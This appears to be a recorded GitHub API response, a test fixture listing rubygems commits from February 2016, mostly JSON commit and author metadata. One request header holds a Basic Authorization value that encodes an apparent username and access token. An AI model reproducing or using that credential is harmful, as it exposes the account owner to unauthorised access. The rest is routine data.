https://api.github.com/repositories/614070/commits?author=segiddins@segiddins.me&page=5&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4305' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"efbfd0cd3c6e3646630c38e7b5d86dce" Last-Modified: - Fri, 26 Feb 2016 04:57:23 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - FECB:4EA7:D24352:1C7B42D:5C8C1EFF body: encoding: ASCII-8BIT string: '[{"sha":"4bfc34cb00f3be715d811bf9106e01a4893fbf92","node_id":"MDY6Q29tbWl0NjE0MDcwOjRiZmMzNGNiMDBmM2JlNzE1ZDgxMWJmOTEwNmUwMWE0ODkzZmJmOTI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-26T04:57:23Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-26T04:57:23Z"},"message":"Version 2.6.0 with updated history","tree":{"sha":"76b0736f6cee24ea05e2bbefbd6179382f3fc586","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/76b0736f6cee24ea05e2bbefbd6179382f3fc586"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4bfc34cb00f3be715d811bf9106e01a4893fbf92","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4bfc34cb00f3be715d811bf9106e01a4893fbf92","html_url":"https://github.com/rubygems/rubygems/commit/4bfc34cb00f3be715d811bf9106e01a4893fbf92","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4bfc34cb00f3be715d811bf9106e01a4893fbf92/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"a8b297995b56b88c561869a3053b54679686ef99","url":"https://api.github.com/repos/rubygems/rubygems/commits/a8b297995b56b88c561869a3053b54679686ef99","html_url":"https://github.com/rubygems/rubygems/commit/a8b297995b56b88c561869a3053b54679686ef99"}]},{"sha":"27c0911f6b2b522959cd1cd8e482e3bef33b3875","node_id":"MDY6Q29tbWl0NjE0MDcwOjI3YzA5MTFmNmIyYjUyMjk1OWNkMWNkOGU0ODJlM2JlZjMzYjM4NzU=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-18T05:56:38Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-18T05:56:38Z"},"message":"Merge pull request #1493 from segiddins/seg-molinillo-0.4.3\n\n[Resolver] Update Molinillo to 0.4.3","tree":{"sha":"fccc6052a11db0984c3ca017faaaf41c01511be7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fccc6052a11db0984c3ca017faaaf41c01511be7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/27c0911f6b2b522959cd1cd8e482e3bef33b3875","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/27c0911f6b2b522959cd1cd8e482e3bef33b3875","html_url":"https://github.com/rubygems/rubygems/commit/27c0911f6b2b522959cd1cd8e482e3bef33b3875","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/27c0911f6b2b522959cd1cd8e482e3bef33b3875/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f0ee71e64693f3e5849978d5a754ab5099126029","url":"https://api.github.com/repos/rubygems/rubygems/commits/f0ee71e64693f3e5849978d5a754ab5099126029","html_url":"https://github.com/rubygems/rubygems/commit/f0ee71e64693f3e5849978d5a754ab5099126029"},{"sha":"bac95c335f23e02cc1e027edb32414770bd6d1ed","url":"https://api.github.com/repos/rubygems/rubygems/commits/bac95c335f23e02cc1e027edb32414770bd6d1ed","html_url":"https://github.com/rubygems/rubygems/commit/bac95c335f23e02cc1e027edb32414770bd6d1ed"}]},{"sha":"bac95c335f23e02cc1e027edb32414770bd6d1ed","node_id":"MDY6Q29tbWl0NjE0MDcwOmJhYzk1YzMzNWYyM2UwMmNjMWUwMjdlZGIzMjQxNDc3MGJkNmQxZWQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-18T05:37:32Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-18T05:37:32Z"},"message":"[Resolver] Update Molinillo to 0.4.3","tree":{"sha":"fccc6052a11db0984c3ca017faaaf41c01511be7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fccc6052a11db0984c3ca017faaaf41c01511be7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bac95c335f23e02cc1e027edb32414770bd6d1ed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bac95c335f23e02cc1e027edb32414770bd6d1ed","html_url":"https://github.com/rubygems/rubygems/commit/bac95c335f23e02cc1e027edb32414770bd6d1ed","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bac95c335f23e02cc1e027edb32414770bd6d1ed/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f0ee71e64693f3e5849978d5a754ab5099126029","url":"https://api.github.com/repos/rubygems/rubygems/commits/f0ee71e64693f3e5849978d5a754ab5099126029","html_url":"https://github.com/rubygems/rubygems/commit/f0ee71e64693f3e5849978d5a754ab5099126029"}]},{"sha":"a9b1384ac893dac9bea9c574bffb75a7268850de","node_id":"MDY6Q29tbWl0NjE0MDcwOmE5YjEzODRhYzg5M2RhYzliZWE5YzU3NGJmZmI3NWE3MjY4ODUwZGU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T19:14:42Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T19:14:42Z"},"message":"Handle when the gem home and gem path arent set in the config file","tree":{"sha":"00143f316ec06949feb1f5c8c1fbed01846857e5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/00143f316ec06949feb1f5c8c1fbed01846857e5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a9b1384ac893dac9bea9c574bffb75a7268850de","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a9b1384ac893dac9bea9c574bffb75a7268850de","html_url":"https://github.com/rubygems/rubygems/commit/a9b1384ac893dac9bea9c574bffb75a7268850de","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a9b1384ac893dac9bea9c574bffb75a7268850de/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ca0367a08c491b9d557deb6426e524df36c922f1","url":"https://api.github.com/repos/rubygems/rubygems/commits/ca0367a08c491b9d557deb6426e524df36c922f1","html_url":"https://github.com/rubygems/rubygems/commit/ca0367a08c491b9d557deb6426e524df36c922f1"}]},{"sha":"ca0367a08c491b9d557deb6426e524df36c922f1","node_id":"MDY6Q29tbWl0NjE0MDcwOmNhMDM2N2EwOGM0OTFiOWQ1NTdkZWI2NDI2ZTUyNGRmMzZjOTIyZjE=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T17:58:38Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T17:58:38Z"},"message":"Merge pull request #1475 from segiddins/seg-use-paths-simplify\n\nSimplify Gem.use_paths","tree":{"sha":"4e519734914c611794f0facca520d345ab1cbbed","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4e519734914c611794f0facca520d345ab1cbbed"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ca0367a08c491b9d557deb6426e524df36c922f1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ca0367a08c491b9d557deb6426e524df36c922f1","html_url":"https://github.com/rubygems/rubygems/commit/ca0367a08c491b9d557deb6426e524df36c922f1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ca0367a08c491b9d557deb6426e524df36c922f1/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f0ba47c74ccb8e813567f3ee1afd84b295315559","url":"https://api.github.com/repos/rubygems/rubygems/commits/f0ba47c74ccb8e813567f3ee1afd84b295315559","html_url":"https://github.com/rubygems/rubygems/commit/f0ba47c74ccb8e813567f3ee1afd84b295315559"},{"sha":"fdc0b983c53b435ff31d7f1334b2e46b7707772e","url":"https://api.github.com/repos/rubygems/rubygems/commits/fdc0b983c53b435ff31d7f1334b2e46b7707772e","html_url":"https://github.com/rubygems/rubygems/commit/fdc0b983c53b435ff31d7f1334b2e46b7707772e"}]},{"sha":"fdc0b983c53b435ff31d7f1334b2e46b7707772e","node_id":"MDY6Q29tbWl0NjE0MDcwOmZkYzBiOTgzYzUzYjQzNWZmMzFkN2YxMzM0YjJlNDZiNzcwNzc3MmU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-06T20:33:57Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T17:44:35Z"},"message":"Simplify Gem.use_paths","tree":{"sha":"4e519734914c611794f0facca520d345ab1cbbed","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4e519734914c611794f0facca520d345ab1cbbed"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fdc0b983c53b435ff31d7f1334b2e46b7707772e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fdc0b983c53b435ff31d7f1334b2e46b7707772e","html_url":"https://github.com/rubygems/rubygems/commit/fdc0b983c53b435ff31d7f1334b2e46b7707772e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fdc0b983c53b435ff31d7f1334b2e46b7707772e/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f0ba47c74ccb8e813567f3ee1afd84b295315559","url":"https://api.github.com/repos/rubygems/rubygems/commits/f0ba47c74ccb8e813567f3ee1afd84b295315559","html_url":"https://github.com/rubygems/rubygems/commit/f0ba47c74ccb8e813567f3ee1afd84b295315559"}]},{"sha":"f0ba47c74ccb8e813567f3ee1afd84b295315559","node_id":"MDY6Q29tbWl0NjE0MDcwOmYwYmE0N2M3NGNjYjhlODEzNTY3ZjNlZTFhZmQ4NGIyOTUzMTU1NTk=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T17:43:10Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-07T17:43:10Z"},"message":"Merge pull request #1476 from segiddins/seg-join-path-separator\n\nJoin with File::PATH_SEPARATOR in Gem.use_paths","tree":{"sha":"79ab7b410093e097825f2fb9cc13f7a9316bd408","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/79ab7b410093e097825f2fb9cc13f7a9316bd408"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f0ba47c74ccb8e813567f3ee1afd84b295315559","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f0ba47c74ccb8e813567f3ee1afd84b295315559","html_url":"https://github.com/rubygems/rubygems/commit/f0ba47c74ccb8e813567f3ee1afd84b295315559","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f0ba47c74ccb8e813567f3ee1afd84b295315559/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"544d6fb3475b121a52eec79ab3df8877a2285387","url":"https://api.github.com/repos/rubygems/rubygems/commits/544d6fb3475b121a52eec79ab3df8877a2285387","html_url":"https://github.com/rubygems/rubygems/commit/544d6fb3475b121a52eec79ab3df8877a2285387"},{"sha":"2bdbe687e0e4ed191f1d368aea88f17432cb8ea5","url":"https://api.github.com/repos/rubygems/rubygems/commits/2bdbe687e0e4ed191f1d368aea88f17432cb8ea5","html_url":"https://github.com/rubygems/rubygems/commit/2bdbe687e0e4ed191f1d368aea88f17432cb8ea5"}]},{"sha":"2bdbe687e0e4ed191f1d368aea88f17432cb8ea5","node_id":"MDY6Q29tbWl0NjE0MDcwOjJiZGJlNjg3ZTBlNGVkMTkxZjFkMzY4YWVhODhmMTc0MzJjYjhlYTU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-06T21:15:48Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-06T21:15:48Z"},"message":"Join with File::PATH_SEPARATOR in Gem.use_paths\n\nThis allows for Gem.path_separator to be a Regexp","tree":{"sha":"488679023d909e46ff4fad12f8d8cf4cfd83852c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/488679023d909e46ff4fad12f8d8cf4cfd83852c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2bdbe687e0e4ed191f1d368aea88f17432cb8ea5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2bdbe687e0e4ed191f1d368aea88f17432cb8ea5","html_url":"https://github.com/rubygems/rubygems/commit/2bdbe687e0e4ed191f1d368aea88f17432cb8ea5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2bdbe687e0e4ed191f1d368aea88f17432cb8ea5/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"928e3bcb55129ab9ccccbdc4e42f392363cd52e1","url":"https://api.github.com/repos/rubygems/rubygems/commits/928e3bcb55129ab9ccccbdc4e42f392363cd52e1","html_url":"https://github.com/rubygems/rubygems/commit/928e3bcb55129ab9ccccbdc4e42f392363cd52e1"}]},{"sha":"70af30afde5d933d5aef84aafcf6950001069fd8","node_id":"MDY6Q29tbWl0NjE0MDcwOjcwYWYzMGFmZGU1ZDkzM2Q1YWVmODRhYWZjZjY5NTAwMDEwNjlmZDg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-02T17:38:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-02T17:38:40Z"},"message":"[PathSupport] Add specs for regexp Gem.path_separator","tree":{"sha":"137e7b853a9a80da6172355fdd2fe0a2bc3fe6ba","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/137e7b853a9a80da6172355fdd2fe0a2bc3fe6ba"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/70af30afde5d933d5aef84aafcf6950001069fd8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/70af30afde5d933d5aef84aafcf6950001069fd8","html_url":"https://github.com/rubygems/rubygems/commit/70af30afde5d933d5aef84aafcf6950001069fd8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/70af30afde5d933d5aef84aafcf6950001069fd8/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/